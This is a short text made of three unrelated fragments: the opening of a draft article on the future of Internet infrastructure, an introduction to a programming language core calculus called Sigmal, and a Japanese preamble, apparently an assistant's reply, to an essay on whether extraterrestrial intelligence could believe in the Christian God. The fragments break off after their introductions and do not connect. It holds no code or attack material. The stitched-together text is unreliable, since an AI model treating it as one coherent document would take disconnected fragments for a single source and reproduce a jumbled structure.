The Future of the Internet: Mobility, Fiber, Autonomy, and Intelligence at Planetary Scale

The Future of the Internet: Mobility, Fiber, Autonomy, and Intelligence at Planetary Scale

(Draft for a Featured Article)

Introduction — The Internet at an Inflection Point

The Internet we inhabit today is strained by forces its early architects never anticipated: billions of mobile devices, hyper-centralized cloud platforms, global AI computation, and geopolitical contestation over physical infrastructure. Yet these same pressures are creating an opportunity — perhaps the first in decades — to re-imagine the Internet’s architecture and its social role. The next decade will not simply be faster Wi-Fi or larger data centers. It will be a structural transformation touching mobility, optical physics, interconnection models, and even the nature of computation itself.

Sigmal Core Language

Sigmal Core Language Overview

Sigmal is a tiny, symbolic, total, and pure core calculus designed as the foundation of the Sigmal programming language. The surface language can look familiar and ergonomic, but at its heart, the system compiles into a very small and extremely regular core.

Sigmal’s core is friendly to formal reasoning, efficient compilation, and high-level metaprogramming such as macros-as-programs. Despite its minimalism, it is expressive enough to encode real-world programs and serious type-level proofs.

This document introduces Sigmal’s core ideas in a way accessible to practicing software engineers.

以下は、主流派(非異端)キリスト教の立場を尊重しつつ、 地球の多様な宗教の背景と、ETI(地球外知的生命)も同じ神を信じ得る plausibility を、 キリスト教内部の許容範囲でまとめたものです。

教義的に危険な表現は避け、 カトリック・正教会・主流派プロテスタントの解釈可能域にきちんと収まる形で記述しています。
